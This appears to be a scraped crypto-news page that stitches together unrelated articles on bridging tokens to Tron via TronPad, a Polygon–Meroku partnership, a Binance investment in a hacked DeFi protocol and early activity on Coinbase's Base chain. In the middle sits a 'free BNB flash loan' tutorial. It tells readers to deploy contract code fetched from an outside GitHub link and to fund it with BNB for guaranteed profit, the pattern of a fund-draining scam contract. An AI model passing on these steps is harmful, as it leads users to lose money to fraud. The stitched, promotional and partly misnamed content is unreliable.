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How to Bridge Tokens from the BNB Chain to Tron: A Step-by-Step Guide

Are you looking to bridge tokens from the BNB Chain to Tron? Look no further!

This comprehensive guide will walk you through the process step-by-step, ensuring a seamless and secure transfer of your assets.

Whether youre a beginner or an experienced user, this guide will provide all the information you need to bridge tokens from BNB Chain to Tron successfully.

Also read: How to Bridge to Ripple?

Before we dive into the process, lets understand why you might want to bridge tokens from BNB Chain to Tron.

BNB Chain and Tron are two popular blockchain networks, each with its own unique features and advantages. By bridging tokens between these networks, you can take advantage of the benefits offered by both platforms.

The BNB Chain, powered by Binance, is known for its fast and low-cost transactions.

On the other hand, Tron boasts a robust ecosystem and a wide range of decentralized applications (DApps).

By bridging tokens from BNB Chain to Tron, you can tap into the vibrant Tron ecosystem while still enjoying the benefits of BNB Chains efficiency.

Now, lets begin with the step-by-step guide on bridging tokens from BNB Chain to Tron.

Also read: How to Buy Bitcoin or Crypto with Santander Group

The first step is to visit the TronPad website and connect your Binance Smart Chain wallet. TronPad is a trusted and secure platform that facilitates bridging tokens between different networks.

By connecting your wallet, you can securely transfer your tokens without having to rely on third-party services.

Once you have connected your Binance Smart Chain wallet, you must select the token you wish to transfer to Tron. TronPad supports various tokens, so you can choose the one that suits your needs.

Additionally, you must input the destination address on your Tron wallet, where you want the tokens to be transferred.

Next, input the number of tokens you want to send from the BNB Chain to Tron. Make sure to double-check the amount to avoid any errors. Its always a good idea to start with a small amount for your first transfer to ensure everything goes smoothly.

Before finalizing the bridge, take a moment to review all your transaction details. Ensure that the token, destination address, and amount are correct.

Once satisfied, hit the Swap button to complete the bridge. Your tokens should arrive at the destination address in under 10 minutes.

One of the advantages of bridging tokens between BNB Chain and Tron is the low fees associated with the transaction. Both networks utilize low-cost proof-of-stake consensus mechanisms, resulting in affordable transfer fees.

The exact fee will depend on the amount being transferred, but it is usually very low, typically under $1.

Bridging cryptocurrencies can be risky without a reliable and secure platform.

However, using a trusted platform like TronPad can minimize the risks associated with token bridging. It is important to always double-check the destination address before completing the transaction to ensure the tokens are sent to the intended recipient.

TronPad is a trusted launchpad and IDO (Initial DEX Offering) platform officially partnered with the Tron Network.

It provides users with a secure and trustless way to bridge tokens between networks, including Binance Chain, Ethereum, and Tron. Powered by Trons smart contract technology, TronPad allows users to transfer tokens without relying on third-party services or custodians.

Bridging tokens from BNB Chain to Tron opens up a world of opportunities for users to leverage the strengths of both platforms.

Following this step-by-step guide, you can seamlessly bridge your tokens and tap into the vibrant Tron ecosystem. Remember to use a trusted platform like TronPad for a secure and hassle-free experience. Happy bridging!

See more here:

How to Bridge to Tron - Watcher Guru

Free Binance Smart Chain Token (BNB)? Yes, who wouldnt want some free cash?

It is possible using a special method called FLASH LOANS

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While theyve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

So, whats the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

Step By Step Tutorial for Flash Loan:

- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click Create New File .

- Name the file flashloans.sol and paste the contract code link below. https://raw.githubusercontent.com/CryptoBarbie101/FlashLoansBNB/main/BNB

- Click on Deploy & Run transactions and set ENVIRONMENT to Injected Web3.

- Connect your MetaMask wallet.

- Click on the Solidity Compiler and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button Compile flashloans.sol

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the Deploy button

On _TOKENNAME Tester

On _TOKENSYMBOL TOKX

On _LOANAMOUNT 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.

Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click action (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesnt work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.

Dont panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when youre done.

More here:

How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023 - Medium

Polygon Labs, a prominent platform for blockchain development, has revealed a significant collaboration with Meroku Protocol V2, an advanced toolkit for creating and launching decentralized applications (DApps) across various blockchains. This partnership will enable Polygon Labs to incorporate the capabilities and features of Meroku Protocol V2 into its own DApp store toolkit, aimed at delivering a smooth and intuitive experience for developers and end-users of DApps.

Meroku Protocol V2 is a versatile DApp store toolkit operating across multiple prominent blockchains, including Ethereum, Binance Smart Chain, Polygon, Solana, and others. It provides diverse resources for DApp creators, including intelligent contract templates, code validation, security assessments, governance modules, and analytical tools.

By utilizing Meroku Protocol V2s technological capabilities, Polygon Labs will empower users of its DApp store toolkit with increased choices and adaptability in selecting their desired blockchain platforms. Additionally, users will gain access to a broader network of DApp enthusiasts and communities, enhancing the overall reach and impact of their DApps.

Meroku Protocol V2 empowers individuals to generate, trade, and redeem synthetic assets without the involvement of intermediaries, centralized exchanges, or custodians. Synthetic assets represent tokens that mirror the value of diverse underlying assets like stocks, commodities, currencies, and other cryptocurrencies.

The Meroku Protocol V2 comprises three key elements: the Meroku Token (MRK), the Meroku Vault, and the Meroku Exchange. The MRK token operates as the protocols inherent utility and governance token. It serves various purposes, including fee payments, being staked as collateral, and participating in voting for protocol enhancements and parameters.

The Meroku Vault functions as a smart contract, securing MRK tokens staked by users to support the creation of synthetic assets. Lastly, the Meroku Exchange is a decentralized exchange (DEX), facilitating the seamless exchange of synthetic assets among users or with MRK tokens.

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To generate a synthetic asset, a user initiates the process by placing MRK tokens into the Meroku Vault while specifying the desired synthetic assets type and quantity they wish to create. The protocol then computes a necessary collateralization ratio (CR) based on factors such as the underlying assets volatility, liquidity, and the prevailing MRK token price.

This CR signifies the percentage of MRK tokens that the vault must lock relative to the value of the synthetic asset. For instance, with a CR of 150%, a user would need to deposit $150 worth of MRK tokens to mint a synthetic asset valued at $100.

Upon completing this process, the user receives the newly minted synthetic asset in their wallet and can trade it on the Meroku Exchange or any other compatible decentralized exchange (DEX).

An Oracle service maintains tracking the synthetic assets price for the underlying asset, providing real-time price feeds to the protocol. The user can redeem their synthetic asset at any time by burning it, effectively returning it to the protocol, and subsequently withdrawing their MRK collateral from the vault.

The protocol enforces both a minting fee and a redemption fee for creating and redeeming synthetic assets. These fees are settled in MRK tokens and distributed to MRK stakers, functioning as rewards for providing collateral to the protocol. Additionally, the protocol imposes a trading fee for exchanging synthetic assets on the Meroku Exchange. Traders pay this fee for the particular synthetic asset they are trading. It serves the purpose of repurchasing and burning MRK tokens from the market, thus introducing deflationary pressures on the MRK supply.

Transitioning forward, Meroku Protocol V2 has a primary objective: to deliver a scalable, secure, and user-friendly platform, granting access to any global asset through synthetic tokens. By harnessing the capabilities of decentralization, smart contracts, and oracles, Meroku Protocol V2 empowers individuals to establish exposure to diverse assets without intermediaries, the threat of censorship, or counterparty risk.

Moreover, the partnership forged with Polygon Labs will enable both entities to collaboratively explore and develop novel features and innovations for the DApp ecosystem, focusing on aspects like interoperability, scalability, and user-friendliness. Polygon Labs and Meroku Protocol V2 share a mutual vision to equip developers and users with the finest tools and resources for constructing and utilizing DApps. Through this synergistic alliance, their shared goal is to expedite the adoption and expansion of the decentralized web.

Crypto News Flash does not endorse and is not responsible for or liable for any content, accuracy, quality, advertising, products, or other materials on this page. Readers should do their own research before taking any actions related to cryptocurrencies. Crypto News Flash is not responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods, or services mentioned.

View post:

Polygon and Meroku Partnership Ushers in New Era for DApps with ... - Crypto News Flash

Curved Finance is a growing DeFi protocol that looks like it has a lot of potential. It does have a lot of potential as many crypto enthusiasts use them to conduct a wide range of services. However, they suffered a hack which set them back on many things. The amount of money they lost in the hack reached a whopping $70 million. Binance Labs, the crypto exchanges venture capitalist and incubator arm, plans to invest $5 million in CRV, Curve DAOs token. Apparently, this investment will be part of the Curved Finance revival.

Binance Labs, the crypto exchanges venture capitalist and incubator arm, wants to spend a whopping $5 million into the native token of Curved Finance. Apparently, this deal will open a lot of opportunities for the project. In fact, many of the supporters of the DeFi protocol are happy with the news.

The new deal with Binance is not only for the native token but the DeFi protocol will have more options to explore. Furthermore, Binance wants to deploy the CRV token on the Binance Smart Chain (BNB Chain). Apparently, this is quite huge for CRV, as it means more traders will have access to it.

It looks like Binance wants to act as the big brother of crypto companies. Moreover, the fact remains that Curved Finance is the second largest DeFi exchange in the world, with $2.4 billion in total value locked (TVL) per DeFiLlama. Even more, this DeFi exchange is the largest exchange for stablecoin swapping. So the hack in their protocol affected them to the core.

According to the Co-Founder of Binance and Head of Binance Labs Yi He, the new development from Binance is an act of support. Binance Labs acknowledged Curved Finances condition as delicate. Hence, they want to help them stand up on their feet. Moreover, a massive brand like Binance coming to your rescue is an incredible record.

The hack on Curved Finance was something that many crypto enthusiasts didnt expect. Nevertheless, it did happen, affecting the crypto protocol. Apparently, the hacker accessed some critical resources and permissions and used them against the CRV ecosystem. More than 70 million dollars went down the drain.

However, the protocol told the hacker to return about 90% of the stolen funds and keep 10%. Fortunately for Curved Finance, the hacker did return some of the money. Although it is not yet complete, the hunt is still on for the hacker.

Wrapping up, Binance didnt send a sign of support to Curved Finance using words. The worlds biggest exchange spent a total of $5 million as a sign of support for the DeFi protocol. With the new investments, the DeFi protocol might recover.

Related

Continue reading here:

Curved Finance Receives $5 Million FromBinance - cryptonewsbytes.com

The launch of Base, Coinbases layer-2 network, has been unusually successful, attracting significant volume in terms of both DeFi activity and cross-chain bridge transactions.

But the burst of activity begs the question: How much of the strong start is attributable to Sybil attackers and airdrop farmers?

Base launched yesterday. However, due to traders discovering what was at the time a one-way bridge, the network managed to attract significant volume prior to the official ribbon-cutting.

In an interview with Blockworks, Nansen analyst Sandra Leow compared the launch favorably to Mantle and Linea, two other layer-2s that went live in the past month.

Per a Dune Analytics dashboard, the total value bridged to Base exceeded $150 million on the day of the official launch, and sits at $162 million as of today exceeding Mantles $67 million and Lineas $47 million.

It seems like the Base ecosystem is far ahead compared to the other new [layer-2s], Leow concluded.

Part of Bases early dominance can be attributed to the raucous soft launch. Over the course of a busy July 29 weekend for altcoin traders, new DEXes on the chain ran up $200 million in volume on a 24-hour basis and a memecoin inspired by Coinbase founder Brian Armstrong BALD ran up a $100 million market capitalization before the token creator pulled liquidity.

In a written interview with Blockworks, a Coinbase spokesperson repeatedly emphasized the networks open and permissionless system and noted that the chain launched with over 100 protocol partners. Per DefiLlama, over 20 protocols have $100,000 or more in total value locked (TVL).

Nansens Leow says the variety has offered traders alternatives following the collapse of BALD.

So far, it does seem like this playbook is working, as even post-BALD rug and you would expect users to have lost confidence in the Base chain, it seems like the chain has gone past the Bald frenzy and [traders] are actually using other apps on the chain, Leow said.

Yesterday, the Ethereum base chain had just under 430,000 active addresses. By comparison, Base had 100,000 active addresses.

On its face, its unlikely that Base has already managed to capture a quarter of the active addresses on Ethereum. Whats more, the number of active addresses isnt the same as the number of active users. This raises the possibility that a portion of those addresses are managed by Sybil users.

Sybil attackers and/or airdrop farmers are users who deploy multiple blockchain addresses and perform actions on a chain that has yet to release governance tokens. Often new chains will use tokens to reward early addresses that complete certain actions, such as bridging a certain amount or using a DeFi protocol. By utilizing multiple addresses, a single user can trick a platform into giving them additional tokens by appearing to be multiple independent users.

According to pseudonymous airdrop farmer CC2 Ventures, large-scale operations can involve dozens of investors pooling hundreds of thousands of dollars to pay for gas fees, labor and software to deploy thousands of addresses in an effort to reap airdrop rewards.

Notably, Coinbase has publicly denied plans for an airdrop, and the chain uses ether (ETH) as the gas fee token. However, CC2 implied this might not stop many Sybil attackers.

Coinbase denying an airdrop will dissuade some farmers, but most simply wont care. In fact, it might even have a reverse effect as projects like Arbitrum, Paraswap and even Sui to an extent constantly denied all airdrop rumors, yet still followed through with it, they wrote.

These operations often use sophisticated methods to obfuscate the fact that multiple addresses are controlled by the same party. Because of that, its nearly impossible to calculate exactly how much Base activity is attributable to farmers.

However, both CC2 and Leow told Blockworks that a significant portion of the traffic and TVL is organic. CC2 added that the chains early reputation for memecoin mania could lead to it becoming a hub of activity for casual traders.

I can see it becoming a retail favorite due to having similar dynamics as Binance Smart Chain (reputable, normie friendly company) with even lower fees, they wrote.

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Early activity on Coinbase's Base chain shows promising signs - Blockworks